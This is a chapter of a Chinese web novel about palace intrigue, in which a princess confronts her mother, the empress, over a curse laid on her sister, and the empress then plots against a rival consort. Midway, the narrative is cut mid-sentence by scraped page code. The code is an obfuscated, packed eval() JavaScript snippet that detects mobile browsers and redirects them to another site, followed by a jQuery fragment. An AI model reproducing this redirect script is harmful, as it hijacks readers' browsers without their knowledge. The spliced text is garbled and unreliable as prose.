符音音只觉得脑袋里轰鸣一声。


    她有些站不稳的往后踉跄一步，伸手扶住了手旁的柱子。


    所以时观知真的是因为母后才会中蛊咒。


    她不是那么懂蛊咒，在修士一途也没有什么天赋，所以她无法判断母后所言是真是假。


    如果是真的，却是需要做出抉择，但如果是假的呢？


    不是她不想相信母后，而是她所做所为就算是二选一中比较理智的决定，但为什么不求助他人呢？


    妹妹当年中了蛊咒，为什么只有母后和甘妃知道？


    母后为什么不说出来，整个海祈帝国那么多人，以妹妹公主的身份，应该会有很多人为了好处去想办法吧？


    哪怕可能最后没有好的结果，至少应该尝试一下吧？


    可是没有。


    妹妹中了蛊咒的事情，她这个姐姐在时观知传话给自己之前，根本不知道。


    就算听说过时观知脸上的纹路问题，也从来没想过那是因为母后而得到的诅咒。


    符音音觉得嗓子好像被什么黏住了，她有很多可以问的，但是她问不出来。


    因为她才发现自己连辨别真假都做不到。


    她明明来之前决定相信母后的话，母后也确实承认了。


    可如果那时因为母后以为自己是从甘妃那里获取的信息，觉得狡辩很无力，不如承认呢？


    怀疑的种子一旦种下，符音音就再也控制不了自己的思维。


    甄芙转过头面向供奉牌：“你想知道的我已经告诉你了，没事就回去吧。”


    符音音嘴唇颤抖，声音很小：“为什么……”


    甄芙眉头微皱：“什么？”


    “为什么……你能如此轻描淡写的说出这种话？”符音音觉得自己整个人被放入火中炙烤一般。


    哪怕她并不算这个事件的直接参与者，可是她依旧会觉得羞愧。


    时观知替母后挡了一劫，也是替自己挡了一劫。


    如果没有母后，自己可能连被人天天比较的稳定日子都没有，因为在这个宫里，没有母亲庇护，孩子想长大都困难。


    而且如果没有时观知，说不定要去挡这一劫的就是自己。


    母后承认了她做得事情，却并不为自己做得事情感到后悔吗？


    “她不需要，不是吗？”


    甄芙突如其来的一句话，让符音音反应了很久才听出她的意思。


    谁不需要？时观知吗？


    时观知不愿意认亲，所以就默认她不需要吗？


    做错事情难道要看受害者是否需要吗？


    母后在说什么啊。


    “母后……”符音音的声音都抖了起来，“时观知并不是在你的期待下出生的吗？所以你才能在对她做了这种事情后，说出这种话？那我呢？”


    甄芙回头看向符音音：“这是什么问题？”


    符音音捂着胸口：“我在你身上感受不到你对时观知的任何愧疚，如果是陌生人是仇人，我都还能理解，可她是你十月怀胎生下来的，是你的亲生骨肉。


    只因为你觉得她不需要，所以愧疚就可以消失吗？或者你真的愧疚过吗？我也是有孩子的人，我绝对无法对自己的孩子做出这种事情后，还如此毫无羞愧感。


    因为我爱我的孩子，能做出像你这样的反应，只能说明你根本不爱你的孩子。你都不爱时观知，那么和她一样也是你女儿的我，你……”


    甄芙眼中闪过不耐烦：“不要问这么没有意义的话。我是没让你好好长大，还是没给你公主该有的待遇？你竟然如此质问我这个母后。”


    符音音握紧拳头，第一次如此勇敢的问出一直以来的问题：“是因为我和时观知不是男孩，不能代替你心里死掉的第一个孩子，所以你才对我们没有爱吗？”


    甄芙脸色沉了下来，她最讨厌别人提到她死掉的第一个孩子。


    对外人她会伪装，但唯独在符音音面前她从来不伪装的柔弱温柔。


    因为符音音不会对外乱说话。


    “滚出去。”甄芙不想和符音音浪费口舌。


    就算不爱又怎么样？


    她能生下来拥有这样的人生，都该感谢自己。


    当初她如果不是怕未来一切落在甘妃的孩子身上，符音音就不会出生，她需要再生下一个男孩。


    已经失去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057078|176916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    男人的真心，难道她还要失去男人的财权吗？


    她为什么要输给一个不要脸的**？


    但老天就是喜欢跟她开玩笑，一连两个孩子都是女孩，最后自己还失去了生育能力，所以才只能过继符月竹。


    既然自己生不了，凭什么那个男人还能一个孩子接着一个孩子。


    帝王之家最忌讳无法传宗接代，男人也最害怕自己无法让女人怀孕。


    那她就要剥夺他传宗接代的能力，让符家的根彻底断了。


    为了这一目的，她研究了十几年，就算连自己的孩子一并扯入其中又如何。


    她们都是自己带到这个世界上的，她们本就该被自己掌控。


    符音音放在柱子上的手逐渐攥成拳头。


    她只觉得自己心里冰凉凉的，冷得仿佛坠入冰窟。


    她有一瞬间恍惚的感觉，那么小的时观知摔进海里的时候，是不是也是这种感觉。


    不，应该是更加可怕的感觉。


    “母后，时观知当年掉进海里，到底是怎么回事，真如你所说是敌人抢走她扔下海的吗？”


    声音在小祠堂内回荡。


    甄芙：“不然呢？”


    符音音抿唇：“希望如此，不然我也无法想象。”


    她转身的背影很是沉重，她现在也不知道该相信谁，至少时观知传来的话没有骗自己。


    甄芙看着符音音离去，脸色沉了下来。


    她叫来嬷嬷。


    “我记得符月竹之前让你转达甘妃不老实，想抢他的东西对吧？”


    嬷嬷点头：“是的。”


    甄芙摸着手腕上帝王绿的玉镯：“本来想等她月份再大点的，四个月应该也够她喝一壶了。既然她那么喜欢跳到我脸上来，那就把她下地狱的时间提前一点好了。


    去把符月竹叫来，就说我闭关结束了，有事找他。”


    嬷嬷点头：“是，奴婢这就去。”


    符月竹很快放下手头的事情赶了过来。


    “母后，你闭关结束了，可要御膳房准备……”


    “坐下，有件重要的事情，我的人偶然得知，我觉得此事非同小可，想和你通个气。”